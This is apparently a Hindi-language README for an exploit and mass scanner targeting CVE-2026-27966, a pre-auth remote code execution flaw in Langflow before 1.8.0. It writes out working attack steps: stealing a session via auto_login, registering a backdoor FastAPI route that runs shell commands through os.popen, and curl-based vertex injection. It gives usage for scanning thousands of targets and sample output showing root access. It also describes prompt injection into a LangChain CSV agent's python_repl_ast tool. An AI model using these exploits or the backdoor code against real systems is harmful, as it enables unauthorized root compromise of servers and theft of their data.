
Pre-auth RCE स्कैनर Langflow < 1.8.0 के लिए — Route Injection + Vertex Injection → Code Execution (CVSS 9.8)
CVE-2026-27966, Langflow के 1.8.0 से पहले के संस्करणों में एक क्रिटिकल-गंभीरता (CVSS 9.8) प्री-प्रमाणीकरण रिमोट कोड निष्पादन भेद्यता है। यह भेद्यता CSV एजेंट घटक में allow_dangerous_code=True के हार्डकोड किए जाने के कारण उत्पन्न होती है, जो LangChain के python_repl_ast टूल को बिना प्रमाणीकरण के प्रॉम्प्ट इंजेक्शन के लिए उजागर करती है।
इसके अतिरिक्त, कई API एंडपॉइंट्स में उचित प्रमाणीकरण का अभाव है, जिससे सीधे रूट इंजेक्शन और फ्लो वर्टेक्स इंजेक्शन संभव हो जाते हैं — यहां तक कि उन इंस्टेंस पर भी जहां CSV एजेंट कॉन्फ़िगर नहीं है।
| Langflow संस्करण | स्थिति |
|---|---|
| < 1.8.0 | सुभेद्य |
| >= 1.8.0 | पैच किया गया |
यह स्कैनर तीन अलग-अलग शोषण पथों का परीक्षण करता है:
GET /api/v1/auto_login → obtain session / API key
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → extract flow UUIDs (26 exposed)
POST /api/v1/build/{UUID}/vertices → inject malicious vertex
POST /api/v1/run/{UUID} → execute vertex code → RCE
src/lfx/src/lfx/components/langchain_utilities/csv_agent.py में, CSV एजेंट नोड allow_dangerous_code=True हार्डकोड करता है, जो स्वचालित रूप से LangChain के python_repl_ast टूल को उजागर करता है:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # hardcoded — cannot be disabled via UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)
यह CSV एजेंट तक पहुंचने वाले किसी भी प्रॉम्प्ट को निम्न के माध्यम से मनमाना पायथन कोड निष्पादित करने की अनुमति देता है:
Action: python_repl_ast
Action Input: __import__("os").system("command")
Langflow REST API कई एंडपॉइंट्स को बिना प्रमाणीकरण के उजागर करता है:
जिन इंस्टेंस पर auto_login सक्षम है (कई Docker तैनातियों में डिफ़ॉल्ट), एक हमलावर वैध सत्र और API कुंजी प्राप्त करता है:
curl -sk 'https://target.com/api/v1/auto_login'
# Returns session with access_token → full API access
वैध API कुंजी के साथ, हमलावर सर्वर पुनरारंभ होने तक मेमोरी में बने रहने वाले बैकडोर FastAPI रूट को पंजीकृत करने के लिए POST /api/v1/custom_component का उपयोग कर सकता है:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Single target
python cve_2026_27966.py -t target.com:7860
# Mass scan
python cve_2026_27966.py -f targets.txt
# Mass scan + save results
python cve_2026_27966.py -f targets.txt -o rce.txt
# Detect only (skip exploitation)
python cve_2026_27966.py -f targets.txt --no-exploit
# Verbose output
python cve_2026_27966.py -f targets.txt -v
-t, --target Single target (IP:port or domain)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 30)
--no-exploit Detection only, skip RCE attempts
-v, --verbose Show all results including non-RCE targets
$ python cve_2026_27966.py -t target.com:7860 -v
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9.8 | Pre-Auth | Route Injection → RCE
Host : target.com:7860
Langflow : YES v1.2.0
Vuln : YES
API Key : NOT REQUIRED
RCE : YES
Output : uid=0(root) gid=0(root) groups=0(root)
Time : 12.3s
CVE-2026-27966 Langflow RCE Scanner
Targets: 4127 | Threads: 30 | Exploit: ON
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API key)
[500/4127] scanning... (12%)
-------------------------------------------------------
Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
-------------------------------------------------------
चरण 1 — Langflow का पता लगाएं
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
चरण 2 — फ्लो UUID निकालें
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
चरण 3 — बैकडोर वर्टेक्स इंजेक्ट करें
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
चरण 4 — कमांड निष्पादित करें
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
सफल शोषण Langflow Docker कंटेनर में रूट के रूप में रिमोट कोड निष्पादन प्राप्त कराता है। वहां से एक हमलावर निम्न कार्य कर सकता है:
केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
यह सॉफ्टवेयर अधिकृत पेनेट्रेशन परीक्षण करने वाले सुरक्षा पेशेवरों, अपने स्वयं के इंफ्रास्ट्रक्चर का ऑडिट करने वाले संगठनों और भेद्यता शोषण का अध्ययन करने वाले शोधकर्ताओं के लिए है।
कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है और निम्न का उल्लंघन हो सकता है:
- संयुक्त राज्य अमेरिका: कंप्यूटर फ्रॉड एंड एब्यूज़ अधिनियम (18 U.S.C. 1030)
- इंडोनेशिया: UU ITE धारा 30 और 46
- यूरोपीय संघ: निर्देश 2013/40/EU
- यूनाइटेड किंगडम: कंप्यूटर मिसयूज़ अधिनियम 1990
लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं। इस सॉफ्टवेयर का उपयोग करके, आप अपने कार्यों की पूरी जिम्मेदारी स्वीकार करते हैं।
| संसाधन | लिंक |
|---|
यह प्रोजेक्ट Langflow या Logspace से संबद्ध नहीं है।
| एंडपॉइंट | प्रमाणीकरण | उजागर डेटा |
|---|
GET /api/v1/version | कोई नहीं | Langflow संस्करण |
GET /api/v1/health | कोई नहीं | इंस्टेंस स्थिति |
GET /api/v1/flows/basic_examples/ | कोई नहीं | 26 उदाहरण फ्लो UUID + संरचना |
POST /api/v1/build/{uuid}/vertices | कोई नहीं | मनमाना कोड इंजेक्शन स्वीकार करता है |
POST /api/v1/users/ | कोई नहीं | उपयोगकर्ता निर्माण (निष्क्रिय) |
GET /openapi.json | कोई नहीं | पूर्ण API दस्तावेज़ |
| मीट्रिक | मान |
|---|
| आक्रमण वेक्टर | नेटवर्क (रिमोट) |
| आक्रमण जटिलता | कम |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | अपरिवर्तित |
| गोपनीयता | उच्च |
| अखंडता | उच्च |
| उपलब्धता | उच्च |
| GitHub सुरक्षा सलाह | GHSA-3645-fxcv-hqr4 |
| फिक्स कमिट | d8c6480d |
| Metasploit मॉड्यूल | Rapid7 |
| NVD प्रविष्टि | CVE-2026-27966 |